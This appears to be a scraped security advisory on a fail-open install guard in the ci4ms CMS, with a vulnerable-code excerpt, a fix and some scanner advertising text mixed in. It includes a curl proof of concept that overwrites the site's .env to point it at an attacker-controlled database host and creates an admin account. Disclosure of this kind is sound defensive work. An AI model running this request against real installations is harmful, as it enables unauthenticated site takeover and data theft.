| Package | Affected versions | Patched versions |
|---|---|---|
| ci4-cms-erp/ci4ms | < 0.31.4.0 | 0.31.4.0 |
| ci4ms | < 0.31.4.0 | 0.31.4.0 |
The install route guard in ci4ms relies solely on a volatile cache check (cache('settings')) combined with .env file existence to block post-installation access to the setup wizard. When the database is temporarily unreachable during a cache miss (TTL expiry or admin-triggered cache clear), the guard fails open, allowing an unauthenticated attacker to overwrite the .env file with attacker-controlled database credentials, achieving full application takeover.
The InstallFilter::before() method at modules/Install/Filters/InstallFilter.php:13 implements the install guard:
public function before(RequestInterface $request, $arguments = null)
{
if (file_exists(ROOTPATH . '.env') && !empty(cache('settings'))) return show_404();
}
This requires both conditions — .env existence AND non-empty cache — to block access. The cache population happens in app/Config/Filters.php:128-151 during the Filters constructor, which runs before route-specific filters:
public function __construct()
{
parent::__construct();
if (is_file(ROOTPATH . '.env')) {
try {
$this->commonModel = new CommonModel();
if (empty(cache('settings')) && $this->commonModel->db->tableExists('settings')) {
$this->settings = $this->commonModel->lists('settings');
// ... populate cache ...
cache()->save('settings', $set, 86400); // 24h TTL
}
} catch (\Throwable $e) {
$this->settings = (object)[]; // Silently swallow ALL exceptions
}
}
When the database is unreachable (connection failure, timeout, maintenance), the \Throwable catch at line 148-150 silently swallows the exception. The cache remains empty, and InstallFilter::before() sees empty(cache('settings')) as true, allowing the request through.
The install controller at modules/Install/Controllers/Install.php:10-87 then processes the POST:
host parameter at line 35 is not present in the validation rules ($valData, lines 13-27) — it is written directly from $this->request->getPost('host') to .env with zero validationcopyEnvFile() (line 70) overwrites the existing .env by copying from the env templateupdateEnvSettings() (line 70) writes attacker-controlled values including database hostnameRunning one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeindex() action only performs filesystem operationsAdditionally, CSRF protection is explicitly disabled for all install routes in modules/Install/Config/InstallConfig.php:7-10:
public $csrfExcept = [
'install',
'install/*'
];
The cache has a 24-hour TTL (Filters.php:143), and cache()->delete('settings') is called in 14+ locations across admin controllers (Settings, Blog, Backup, AJAX, Pages), creating recurring windows where the cache is empty and must be repopulated from the database.
Prerequisites: The target database must be temporarily unreachable (maintenance window, connection exhaustion, network partition) at a moment when the settings cache has expired or been cleared.
# Step 1: Verify the install route is accessible (DB outage + cache miss)
curl -s -o /dev/null -w "%{http_code}" http://target/install
# Expected: 200 (instead of 404)
# Step 2: Overwrite .env with attacker-controlled database credentials
curl -X POST http://target/install \
-d 'baseUrl=http://target/' \
-d 'host=attacker-db.evil.com' \
-d 'dbname=ci4ms' \
-d 'dbusername=root' \
-d 'dbpassword=pass' \
-d 'dbdriver=MySQLi' \
-d 'dbpre=' \
-d 'dbport=3306' \
-d 'name=Admin' \
-d 'surname=Evil' \
-d 'username=admin' \
-d 'password=Evil1234!' \
-d '[email protected]' \
-d 'siteName=Pwned'
# No CSRF token required (CSRF exempt for install routes)
# .env is now overwritten with attacker's DB hostname
# Step 3: Follow redirect to /install/dbsetup
# This runs migrations on the attacker-controlled database and creates an admin account
# The application now connects to attacker's database = full takeover
When exploited during a database outage coinciding with cache expiry:
.env file is overwritten with attacker-controlled database credentials, redirecting all application database queries to an attacker-controlled servergenerateEncryptionKey() is called (line 70), invalidating all existing encrypted data and sessionsThe attack requires no authentication, no CSRF token, and no user interaction. The exploitability window recurs every 24 hours at cache TTL expiry and after any admin action that clears the settings cache, but is only exploitable when the database is simultaneously unreachable.
Replace the volatile cache-based install guard with a persistent filesystem lock:
// modules/Install/Filters/InstallFilter.php
class InstallFilter implements FilterInterface
{
public function before(RequestInterface $request, $arguments = null)
{
// Use a persistent filesystem lock instead of volatile cache
if (file_exists(WRITEPATH . 'installed.lock')) {
return show_404();
}
}
}
Create the lock file at the end of successful installation in Install::dbsetup():
// At the end of dbsetup(), after successful migration and setup:
file_put_contents(WRITEPATH . 'installed.lock', date('Y-m-d H:i:s'));
Additionally, add validation for the host parameter in Install::index():
$valData['host'] = [
'label' => lang('Install.databaseHost'),
'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]'
];